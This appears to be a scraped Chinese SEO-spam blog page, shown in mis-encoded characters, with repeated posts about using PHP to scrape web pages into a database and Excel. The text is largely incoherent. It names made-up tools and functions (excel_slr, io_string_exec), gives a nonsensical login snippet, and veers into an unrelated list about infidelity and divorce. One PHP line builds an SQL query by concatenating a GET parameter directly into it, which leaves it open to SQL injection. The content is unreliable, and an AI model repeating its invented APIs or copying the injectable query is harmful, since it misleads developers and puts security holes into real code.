蟹妖。你好。我是一名開(kāi)發(fā),網(wǎng)上有很多很好的開(kāi)源抓取工具,這里推薦個(gè)讓你少抓一些的。awesome-php,官網(wǎng)可以找到很多文章,并且官網(wǎng)提供了很多很好的案例,幫助你更加深入了解網(wǎng)頁(yè)爬蟲(chóng)相關(guān)知識。 查看全部
awesome-phpphp抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作。
php抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作。網(wǎng)上非常多開(kāi)源代碼,但是你要明白網(wǎng)上大部分開(kāi)源代碼在github上的地址都是,需要科學(xué)上網(wǎng),就像商場(chǎng)說(shuō)國外有,你得翻墻去看看。個(gè)人覺(jué)得使用awesome-php這個(gè)項目里的代碼比網(wǎng)上那些開(kāi)源代碼更簡(jiǎn)單些。簡(jiǎn)單的說(shuō),你首先得有一個(gè)項目的目錄,然后百度github關(guān)鍵字php抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作...找到爬蟲(chóng)爬取的鏈接,把這個(gè)目錄拷貝到項目目錄下。
項目目錄下繼續找awesome-php的項目,我就用github自帶的爬蟲(chóng)解析工具解析了一遍了...解析出這個(gè)目錄下的項目文件。最后準備數據庫。寫(xiě)爬蟲(chóng),這個(gè)不再贅述,就按照php的架構去寫(xiě)。然后用excel執行excel。這個(gè)解析工具叫excel_slr,放到目錄里就可以工作了。其他也是跟著(zhù)php的爬蟲(chóng)腳本手把手修改再爬,慢慢摸索一下。
其實(shí),數據庫就是一個(gè)字符串與字符串的映射關(guān)系,涉及到一個(gè)字符串操作,網(wǎng)上代碼實(shí)現太多了,有興趣可以搜下。最終你只需要一個(gè).xlsx格式的數據庫文件就可以執行數據庫查詢(xún)并excel操作了。最后把你的爬蟲(chóng)腳本放到/applications/awesome-php/core/system/modules/php_slide/php_params/目錄下執行就可以了。
蟹妖。你好。我是一名開(kāi)發(fā),網(wǎng)上有很多很好的開(kāi)源抓取工具,這里推薦個(gè)讓你少抓一些的。awesome-php,官網(wǎng)可以找到很多文章,并且官網(wǎng)提供了很多很好的案例,幫助你更加深入了解網(wǎng)頁(yè)爬蟲(chóng)相關(guān)知識。
php抓取網(wǎng)頁(yè)數據插入數據庫存儲我做個(gè)基于web的
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 80 次瀏覽 ? 2022-05-29 17:14
php抓取網(wǎng)頁(yè)數據插入數據庫存儲
我做個(gè)基于web的,算是nb一點(diǎn)的吧。微信上可以借鑒@薄荷給到的辦法,但是用起來(lái)并不如ipython,jupyter簡(jiǎn)單方便。如果用python3,你可以這樣搞。form_login,admin,username,password="secret"web.request(username,password)我這樣可以把用戶(hù)名和密碼中的任意一部分輸入,get請求更改,驗證登錄。直接輸入username/password的就是登錄了。
1.發(fā)現她出軌2.發(fā)現她不出軌3.被她發(fā)現出軌4.和她談以后她如果不離婚5.發(fā)現她出軌但又被她發(fā)現6.發(fā)現她出軌但她沒(méi)有選擇離婚7.發(fā)現她出軌但她后悔了8.分手9.再分手
應邀!出軌如果要報警需要取得對方身份信息,個(gè)人覺(jué)得很難辦。以我身邊接觸的情況的話(huà),至少要起訴對方和自己財產(chǎn)責任劃分、男方和女方責任劃分、對方對情感的處理需求,從這個(gè)角度說(shuō),這個(gè)問(wèn)題的數據庫管理自己要搞清楚,要對不同數據類(lèi)型分別存儲,不同的要求目前普遍沒(méi)有成熟的方案。e-mail是否可以起訴對方?或者手機短信的歸類(lèi)管理系統的。因為是軟件系統工程師,又是民事案件,我是做涉外的,涉外當事人如果有爭議這個(gè)案子會(huì )轉到涉外仲裁。
email,微信,
安卓安卓可以自己定義我建立了一個(gè)專(zhuān)門(mén)的部門(mén)來(lái)做這些,然后用的是比較先進(jìn)的,男女通用的系統,然后做這些事情要一張表設定五套數據庫,一張表設定三套類(lèi)似whois的url,三套類(lèi)似pptv的設定。安卓不了解,蘋(píng)果的話(huà)各個(gè)部門(mén)的數據都是要手動(dòng)上傳的,但是實(shí)際上編程比這個(gè)重要的多。我建議每個(gè)部門(mén)自己設定一個(gè)編號,里面放數據庫名字,然后先不編程直接拷貝每個(gè)數據庫的url。
這樣不需要。你要了解法律風(fēng)險點(diǎn)。按照這個(gè)數據庫名字做一張大的模型表。每一個(gè)數據庫的url。然后就能解決這個(gè)問(wèn)題了。至于excel,admin什么的,那才是重點(diǎn)。 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫存儲我做個(gè)基于web的
php抓取網(wǎng)頁(yè)數據插入數據庫存儲
我做個(gè)基于web的,算是nb一點(diǎn)的吧。微信上可以借鑒@薄荷給到的辦法,但是用起來(lái)并不如ipython,jupyter簡(jiǎn)單方便。如果用python3,你可以這樣搞。form_login,admin,username,password="secret"web.request(username,password)我這樣可以把用戶(hù)名和密碼中的任意一部分輸入,get請求更改,驗證登錄。直接輸入username/password的就是登錄了。
1.發(fā)現她出軌2.發(fā)現她不出軌3.被她發(fā)現出軌4.和她談以后她如果不離婚5.發(fā)現她出軌但又被她發(fā)現6.發(fā)現她出軌但她沒(méi)有選擇離婚7.發(fā)現她出軌但她后悔了8.分手9.再分手
應邀!出軌如果要報警需要取得對方身份信息,個(gè)人覺(jué)得很難辦。以我身邊接觸的情況的話(huà),至少要起訴對方和自己財產(chǎn)責任劃分、男方和女方責任劃分、對方對情感的處理需求,從這個(gè)角度說(shuō),這個(gè)問(wèn)題的數據庫管理自己要搞清楚,要對不同數據類(lèi)型分別存儲,不同的要求目前普遍沒(méi)有成熟的方案。e-mail是否可以起訴對方?或者手機短信的歸類(lèi)管理系統的。因為是軟件系統工程師,又是民事案件,我是做涉外的,涉外當事人如果有爭議這個(gè)案子會(huì )轉到涉外仲裁。
email,微信,
安卓安卓可以自己定義我建立了一個(gè)專(zhuān)門(mén)的部門(mén)來(lái)做這些,然后用的是比較先進(jìn)的,男女通用的系統,然后做這些事情要一張表設定五套數據庫,一張表設定三套類(lèi)似whois的url,三套類(lèi)似pptv的設定。安卓不了解,蘋(píng)果的話(huà)各個(gè)部門(mén)的數據都是要手動(dòng)上傳的,但是實(shí)際上編程比這個(gè)重要的多。我建議每個(gè)部門(mén)自己設定一個(gè)編號,里面放數據庫名字,然后先不編程直接拷貝每個(gè)數據庫的url。
這樣不需要。你要了解法律風(fēng)險點(diǎn)。按照這個(gè)數據庫名字做一張大的模型表。每一個(gè)數據庫的url。然后就能解決這個(gè)問(wèn)題了。至于excel,admin什么的,那才是重點(diǎn)。
php抓取網(wǎng)頁(yè)數據插入數據庫:代碼:然后改為$sql
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 68 次瀏覽 ? 2022-05-26 19:06
php抓取網(wǎng)頁(yè)數據插入數據庫:代碼:然后改為$sql='select*from${$data}wherename='.$_get['tablename'];';?>
sql_exec:將1轉換為string
<p>首先呢php,jsp都需要用到內聯(lián)函數一、使用io_string_exec()函數將所有io事件處理函數轉換為string類(lèi)型,同時(shí)保留返回值,為所有string類(lèi)型的參數提供容器轉換:傳遞參數:io_string_exec函數內部使用read_string()函數將數據讀入內存io_string_exec()函數內部使用write_string()函數將數據寫(xiě)入內存io_string_exec()函數內部使用exist()判斷是否為空exist()判斷是否有缺失值fori=1;i 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫:代碼:然后改為$sql
php抓取網(wǎng)頁(yè)數據插入數據庫:代碼:然后改為$sql='select*from${$data}wherename='.$_get['tablename'];';?>
sql_exec:將1轉換為string
<p>首先呢php,jsp都需要用到內聯(lián)函數一、使用io_string_exec()函數將所有io事件處理函數轉換為string類(lèi)型,同時(shí)保留返回值,為所有string類(lèi)型的參數提供容器轉換:傳遞參數:io_string_exec函數內部使用read_string()函數將數據讀入內存io_string_exec()函數內部使用write_string()函數將數據寫(xiě)入內存io_string_exec()函數內部使用exist()判斷是否為空exist()判斷是否有缺失值fori=1;i